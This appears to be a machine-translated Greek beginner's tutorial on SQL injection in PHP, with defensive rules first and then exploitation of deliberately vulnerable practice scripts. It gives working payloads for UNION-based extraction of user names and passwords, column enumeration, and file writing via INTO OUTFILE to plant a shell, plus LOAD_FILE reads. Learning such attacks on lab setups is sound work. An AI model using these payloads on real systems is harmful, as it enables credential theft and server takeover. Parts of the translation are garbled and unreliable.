Είναι σημαντικό να θυμάστε τους κανόνες κατά των ενέσεων SQL

  • Μην εμπιστεύεστε ΟΠΟΙΑΔΗΠΟΤΕ δεδομένα που προέρχονται από τον χρήστη. Είναι περίπουόχι μόνο για τα δεδομένα που μεταφέρονται από τους πίνακες $_GET και $_POST. Μην ξεχνάτε το $_COOKIE και άλλα μέρη των κεφαλίδων HTTP. Θα πρέπει να θυμάστε ότι είναι εύκολο να αντικατασταθούν.
  • Δεν πρέπει να βασίζεστε στην επιλογή "μαγικά εισαγωγικά" της PHP, η οποία πιθανώς περισσότερο εμποδίζει παρά βοηθάει. Όλα τα δεδομένα που μεταφέρονται στη βάση δεδομένων πρέπει να συνοψίζονται ανά τύπο με πεδία βάσης δεδομένων. ($id=(int)$_GET["id"]) ή προστατεύεται από τις συναρτήσεις mysql_real_escape_string ή mysql_real_escape_string.
  • Το mysql_real_escape_string δεν διαφεύγει % και _, επομένως δεν πρέπει να χρησιμοποιείται σε συνδυασμό με LIKE.
  • Δεν πρέπει να βασίζεστε πάρα πολύ σε ένα σωστά γραμμένο mod_rewrite. Αυτοί είναι μόνο τρόποι δημιουργίας «βολικών» διευθύνσεων URL, αλλά σίγουρα όχι ένας τρόπος προστασίας από ενέσεις SQL.
  • Απενεργοποιήστε την αναφορά σφαλμάτων.
  • Μην βοηθάτε τους κακούς επισκέπτες. Ακόμη και αν εντοπιστεί το σφάλμα, η έλλειψη πληροφοριών σχετικά με αυτό θα παρεμποδίσει σοβαρά την εφαρμογή του. Θυμηθείτε τη διαφορά μεταξύ του σταδίου ανάπτυξης και του σχεδίου εργασίας. Έξοδος σφάλματοςκαι άλλες λεπτομερείς πληροφορίες - ο σύμμαχός σας στο στάδιο ανάπτυξης, και σύμμαχος του επιτιθέμενουσε έκδοση εργασίας. Επίσης, δεν πρέπει να τα αποκρύψετε σχολιάζοντας στον κώδικα HTML για κάθε 1000 επισκέπτες θα υπάρχει 1 που θα βρει τέτοια πράγματα.
  • Χειριστείτε τα σφάλματα.
  • Γράψτε τη θεραπεία Ερωτήματα SQLμε τέτοιο τρόπο ώστε οι πληροφορίες σχετικά με αυτές να αποθηκεύονται σε ορισμένα αρχεία καταγραφής ή να αποστέλλονται μέσω ταχυδρομείου.
  • Μην αποθηκεύετε δεδομένα πρόσβασης στη βάση δεδομένων σε αρχεία που δεν υποβάλλονται σε επεξεργασία από την PHP ως κώδικας.
  • Δεν νομίζω ότι ανακάλυψα την Αμερική σε κανέναν, αλλά δική σας εμπειρίαΜπορώ να πω ότι αυτή η πρακτική είναι αρκετά συνηθισμένη. Συνήθως αυτό είναι ένα αρχείο με την επέκταση *.inc
  • Μην δημιουργείτε βάση δεδομένων "super user".
  • Παραχωρήστε μόνο τα απαραίτητα δικαιώματα για την εκτέλεση συγκεκριμένων εργασιών.
  • Στην αναζήτησή σας, θα πρέπει να περιορίσετε το ελάχιστο και μέγιστο ποσόχαρακτήρες, οι οποίοι είναι οι παράμετροι αιτήματος.
  • Για έναν ειλικρινή χρήστη, 3 έως 60-70 χαρακτήρες είναι αρκετοί για να ικανοποιήσουν τα ενδιαφέροντα αναζήτησης και ταυτόχρονα αποτρέπετε καταστάσεις όταν ερώτημα αναζήτησηςθα γίνει ο τόμος του «Πόλεμος και Ειρήνη».
  • Ελέγχετε πάντα τον αριθμό των εγγραφών που επιστρέφονται μετά από ένα ερώτημα

Σχεδόν το 90% των τοποθεσιών γραμμένων σε PHPΥπάρχει ένα τέτοιο λογικό σφάλμα, αυτό μπορεί να παρατηρηθεί ιδιαίτερα όταν γίνεται ένα αίτημα με βάση το αναγνωριστικό που ελήφθη από τον χρήστη, εάν δώσετε στο σενάριο ένα ανύπαρκτο αναγνωριστικό, θα δούμε αρκετά ενδιαφέροντα αποτελέσματατο έργο ορισμένων σεναρίων, αντί να επιστρέψει το 404, το πρόγραμμα στην καλύτερη περίπτωση δεν θα κάνει τίποτα και θα εμφανίσει μια κενή σελίδα.

Ασφαλής SQL για εσάς.

Χαιρετισμούς αναγνώστη. Πρόσφατα, με ενδιαφέρει η ασφάλεια Ιστού και σε κάποιο βαθμό η δουλειά μου σχετίζεται με αυτό. Επειδή Όλο και πιο συχνά άρχισα να παρατηρώ θέματα σε διάφορα φόρουμ που τους ζητούσα να δείξουν πώς λειτουργούν όλα, έτσι αποφάσισα να γράψω ένα άρθρο. Το άρθρο θα απευθύνεται σε όσους δεν το έχουν συναντήσει, αλλά θα ήθελαν να μάθουν. Υπάρχουν σχετικά πολλά άρθρα σχετικά με αυτό το θέμα στο Διαδίκτυο, αλλά για αρχάριους είναι λίγο περίπλοκα. Θα προσπαθήσω να τα περιγράψω όλα σε καθαρή γλώσσακαι αναλυτικά παραδείγματα.

Πρόλογος

Για να κατανοήσετε αυτό το άρθρο, δεν χρειάζεστε πραγματικά γνώση της γλώσσας SQL, αλλά τουλάχιστον καλή υπομονή και λίγο μυαλό για απομνημόνευση.

Πιστεύω ότι μόνο η ανάγνωση του άρθρου δεν θα είναι αρκετή, γιατί... χρειαζόμαστε ζωντανά παραδείγματα - όπως γνωρίζετε, η εξάσκηση στη διαδικασία της απομνημόνευσης δεν είναι ποτέ περιττή. Επομένως, θα γράψουμε ευάλωτα σενάρια και θα εκπαιδεύσουμε σε αυτά.

Τι είναι η ένεση SQL;
Ομιλία σε απλή γλώσσαείναι μια επίθεση στη βάση δεδομένων που θα σας επιτρέψει να εκτελέσετε κάποια ενέργεια που δεν προοριζόταν από τον δημιουργό του σεναρίου. Παράδειγμα από τη ζωή:

Ο πατέρας έγραψε σε ένα σημείωμα στη μητέρα του να δώσει στη Βάσια 100 ρούβλια και να τα βάλει στο τραπέζι. Ξαναδουλεύοντας αυτό σε μια κωμική γλώσσα SQL, παίρνουμε:
ΠΑΡΤΕ 100 ΡΟΥΠΛΙΑ ΑΠΟ ΤΟ ΠΟΡΤΟΦΟΛΙ ΣΑΣ ΚΑΙ ΔΩΣΤΕ ΤΑ ΣΤΗ Βάσια

Δεδομένου ότι ο πατέρας έγραψε το σημείωμα άσχημα (Αδέξια γραφή) και το άφησε στο τραπέζι, το είδε ο αδερφός του Βάσια, Πέτυα. Ο Petya, ως χάκερ, πρόσθεσε το "OR Pete" εκεί και το αποτέλεσμα ήταν το ακόλουθο αίτημα:
ΠΑΡΤΕ 100 ΡΟΥΒΒΛΙΑ ΑΠΟ ΤΟ ΠΟΡΤΟΦΟΛΙ ΣΑΣ ΚΑΙ ΔΩΣΤΕ ΤΑ ΣΤΗ Βάσια Ή στον Πέτυα

Η μαμά, αφού διάβασε το σημείωμα, αποφάσισε ότι έδωσε χρήματα στη Vasya χθες και έδωσε 100 ρούβλια στον Petya. Εδώ είναι ένα απλό Παράδειγμα SQLενέσεις από τη ζωή:) Χωρίς να φιλτράρει τα δεδομένα (η μαμά μόλις και μετά βίας μπορούσε να διακρίνει το χειρόγραφο), η Petya έκανε κέρδος.

Παρασκευή
Για εξάσκηση, θα χρειαστείτε ένα αρχείο με τα σενάρια πηγής για αυτό το άρθρο. Κατεβάστε το και αποσυσκευάστε το στον διακομιστή. Εισαγάγετε επίσης τη βάση δεδομένων και ορίστε τα δεδομένα στο αρχείο cfg.php

Αναζήτηση SQL injection

Όπως ήδη καταλάβατε, η ένεση προέρχεται από εισερχόμενα δεδομένα που δεν φιλτράρονται. Το πιο συνηθισμένο λάθος είναι ότι δεν φιλτράρετε το μεταδιδόμενο αναγνωριστικό. Λοιπόν, χοντρικά, βάλε εισαγωγικά σε όλα τα πεδία. Είτε πρόκειται για αίτημα GET/POST είτε ακόμα και για Cookie!

Αριθμητική παράμετρος εισαγωγής
Για εξάσκηση χρειαζόμαστε ένα σενάριο index1.php. Όπως είπα παραπάνω, εισάγουμε εισαγωγικά στο αναγνωριστικό ειδήσεων.

Επειδή Το αίτημά μας δεν έχει φιλτράρισμα:

$id = $_GET["id"]; $query = "SELECT * FROM news WHERE id=$id";

Το σενάριο θα το καταλάβει ως

SELECT * FROM news WHERE id=1"

Και θα μας δώσει ένα σφάλμα:
Προειδοποίηση: η mysql_fetch_array() αναμένει ότι η παράμετρος 1 θα είναι πόρος, ο boolean δίνεται στο C:\WebServ\domains\sqlinj\index1.php στη γραμμή 16

Εάν το σφάλμα δεν εμφανίζεται, μπορεί να υπάρχουν οι εξής λόγοι:

1. Η ένεση SQL δεν είναι εδώ - τα εισαγωγικά φιλτράρονται ή απλά αξίζει να το μετατρέψετε σε (int)
2. Η έξοδος σφάλματος είναι απενεργοποιημένη.

Εάν εξακολουθείτε να λαμβάνετε ένα σφάλμα - Γρήγορα! Βρήκαμε τον πρώτο τύπο SQL injection - Numeric input parameter.

Παράμετρος εισαγωγής συμβολοσειράς

Θα στείλουμε αιτήματα σε index2.php. Σε αυτό το αρχείο, το αίτημα μοιάζει με αυτό:
$user = $_GET["χρήστης"]; $query = "SELECT * FROM news WHERE user="$user"";

Εδώ επιλέγουμε ειδήσεις με όνομα χρήστη και πάλι δεν φιλτράρουμε.
Και πάλι στέλνουμε ένα αίτημα με μια προσφορά:

Έδωσε ένα σφάλμα. ΕΝΤΑΞΕΙ! Αυτό σημαίνει ότι υπάρχει μια ευπάθεια. Για αρχή, αυτό μας αρκεί - ας προχωρήσουμε στην εξάσκηση.

Ας αναλάβουμε δράση

Λίγη θεωρία

Πιθανότατα δεν μπορείτε να περιμένετε να βγάλετε κάτι από αυτό εκτός από λάθη. Πρώτα, καταλάβετε ότι το σημάδι " -- " θεωρείται σχόλιο στο Γλώσσα SQL.

ΠΡΟΣΟΧΗ! Πρέπει να υπάρχουν κενά πριν και μετά. Στη διεύθυνση URL μεταδίδονται ως %20

Ό,τι έρχεται μετά το σχόλιο θα απορριφθεί, δηλαδή το αίτημα:
SELECT * FROM news WHERE user="AlexanderPHP" -- habrahabra

Θα πετύχει. Μπορείτε να το δοκιμάσετε στο σενάριο index2.php στέλνοντας ένα αίτημα όπως αυτό:

Sqlinj/index2.php?user=AlexanderPHP"%20--%20habrahabr

Μάθετε την παράμετρο ΕΝΩΣΗ. Στη γλώσσα SQL η λέξη-κλειδί ΕΝΩΣΗχρησιμοποιείται για να συνδυάσει τα αποτελέσματα δύο ερωτημάτων SQL σε έναν ενιαίο πίνακα. Δηλαδή για να βγάλουμε κάτι που χρειαζόμαστε από άλλο τραπέζι.

Ας το εκμεταλλευτούμε

Εάν η παράμετρος είναι "Αριθμητική", τότε δεν χρειάζεται να στείλουμε προσφορά στο αίτημα και φυσικά να βάλουμε ένα σχόλιο στο τέλος. Ας επιστρέψουμε στο σενάριο index1.php.

Ας στραφούμε στο σενάριο sqlinj/index1.php?id=1 UNION SELECT 1 . Το ερώτημα της βάσης δεδομένων μας μοιάζει με αυτό:
ΕΠΙΛΟΓΗ * ΑΠΟ ειδήσεις WHERE id=1 UNION SELECT 1
Και μας έκανε λάθος, γιατί... για να δουλέψουμε με ερωτήματα συγχώνευσης, χρειαζόμαστε τον ίδιο αριθμό πεδίων.

Επειδή Δεν μπορούμε να επηρεάσουμε τον αριθμό τους στο πρώτο αίτημα, τότε πρέπει να επιλέξουμε τον αριθμό τους στο δεύτερο ώστε να είναι ίσος με το πρώτο.

Επιλέγοντας τον αριθμό των πεδίων

Η επιλογή των πεδίων είναι πολύ απλή, απλώς στείλτε τα ακόλουθα αιτήματα:
sqlinj/index1.php?id=1 UNION SELECT 1,2
Λάθος…
sqlinj/index1.php?id=1 UNION SELECT 1,2,3
Πάλι λάθος!
sqlinj/index1.php?id=1 ΕΠΙΛΟΓΗ ΕΝΩΣΗΣ 1,2,3,4,5
Κανένα λάθος! Αυτό σημαίνει ότι ο αριθμός των στηλών είναι 5.

ΟΜΑΔΑ ΑΠΟ
Συμβαίνει συχνά να υπάρχουν 20 ή 40 ή και 60 πεδία, έτσι ώστε να μην χρειάζεται να τα ταξινομούμε κάθε φορά ΟΜΑΔΑ ΑΠΟ

Εάν το αίτημα
sqlinj/index1.php?id=1 ΟΜΑΔΑ ΑΠΟ 2
δεν έδειξε σφάλματα, πράγμα που σημαίνει ότι ο αριθμός των πεδίων είναι μεγαλύτερος από 2. Ας προσπαθήσουμε:

Sqlinj/index1.php?id=1 ΟΜΑΔΑ ΑΠΟ 8
Op, βλέπουμε ένα σφάλμα, σημαίνει ότι ο αριθμός των πεδίων είναι μικρότερος από 8.

Εάν δεν υπάρχει σφάλμα με το GROUP BY 4, και με το GROUP BY 6 υπάρχει σφάλμα, τότε ο αριθμός των πεδίων είναι 5

Καθορισμός στηλών εξόδου
Για να διασφαλίσουμε ότι δεν θα εμφανιστεί τίποτα σε εμάς από το πρώτο αίτημα, αρκεί να αντικαταστήσουμε ένα ανύπαρκτο αναγνωριστικό, για παράδειγμα:

Sqlinj/index1.php?id=-1 UNION SELECT 1,2,3,4,5


Με αυτήν την ενέργεια, προσδιορίσαμε ποιες στήλες εμφανίζονται στη σελίδα. τώρα για να αντικαταστήσετε αυτούς τους αριθμούς με απαραίτητες πληροφορίες, πρέπει να συνεχίσετε το αίτημα.

Έξοδος δεδομένων

Ας πούμε ότι ξέρουμε ότι το τραπέζι υπάρχει ακόμα χρήστεςστο οποίο υπάρχουν τα πεδία ταυτότητα, όνομαΚαι πέρασμα.
Πρέπει να λάβουμε Πληροφορίες για τον χρήστη με ID=1

Επομένως, ας δημιουργήσουμε το ακόλουθο ερώτημα:

Sqlinj/index1.php?id=-1 UNION SELECT 1,2,3,4,5 ΑΠΟ χρήστες WHERE id=1
Το σενάριο συνεχίζει επίσης να βγαίνει

Για να γίνει αυτό, θα αντικαταστήσουμε τα ονόματα των πεδίων στη θέση των αριθμών 1 και 3

Sqlinj/index1.php?id=-1 UNION SELECT name,2,pass,4,5 FROM users WHERE id=1
Πήραμε ότι χρειαζόμασταν!

Για "παράμετρο εισαγωγής συμβολοσειράς" όπως στο σενάριο index2.phpπρέπει να προσθέσετε ένα εισαγωγικό στην αρχή και ένα σχόλιο στο τέλος. Παράδειγμα:
sqlinj/index2.php?user=-1" UNION SELECT name,2,pass,4,5 FROM users WHERE id=1 --%20

Ανάγνωση/Εγγραφή Αρχείων

Για την ανάγνωση και εγγραφή αρχείων, ο χρήστης της βάσης δεδομένων πρέπει να έχει δικαιώματα FILE_PRIV.
Εγγραφή αρχείων
Στην πραγματικότητα, όλα είναι πολύ απλά. Για να γράψουμε ένα αρχείο, θα χρησιμοποιήσουμε τη συνάρτηση ΕΞΩΦΙΛ.
sqlinj/index2.php?user=-1" UNION SELECT 1,2,3,4,5 INTO OUTFILE "1.php" --%20
Τέλεια, το αρχείο έχει καταχωρηθεί σε εμάς. Έτσι, μπορούμε να γεμίσουμε το μίνι-κέλυφος:
sqlinj/index2.php?user=-1" UNION SELECT 1,"",3,4,5 INTO OUTFILE "1.php" --%20
Ανάγνωση αρχείων
Η ανάγνωση αρχείων είναι ακόμα πιο εύκολη από τη σύνταξη. Αρκεί απλώς να χρησιμοποιήσετε τη λειτουργία LOAD_FILE, για τη θέση του πεδίου που επιλέγουμε:

Sqlinj/index2.php?user=-1" UNION SELECT 1,LOAD_FILE("1.php"),3,4,5 --%20

Έτσι, διαβάσαμε το προηγούμενο γραπτό αρχείο.

Μέθοδοι προστασίας

Το να προστατεύσετε τον εαυτό σας είναι ακόμα πιο εύκολο από το να εκμεταλλευτείτε μια ευπάθεια. Απλώς φιλτράρετε τα δεδομένα. Εάν περνάτε αριθμούς, χρησιμοποιήστε
$id = (int) $_GET["id"];
Όπως πρότεινε ο χρήστης malroc. Προστατέψτε τον εαυτό σας χρησιμοποιώντας ΠΟΠ ή έτοιμες δηλώσεις.

Αντί να ολοκληρώσει

Εδώ θέλω να τελειώσω το πρώτο μου μέρος σχετικά με το "SQL injection για αρχάριους". Στο δεύτερο θα δούμε πιο σοβαρά παραδείγματα ενέσεων. Δοκιμάστε να γράψετε ευάλωτα σενάρια και να εκτελέσετε ερωτήματα μόνοι σας.
Και να θυμάστε, μην εμπιστεύεστε κανέναν χρήστη του ιστότοπού σας.

Ετικέτες: Προσθήκη ετικετών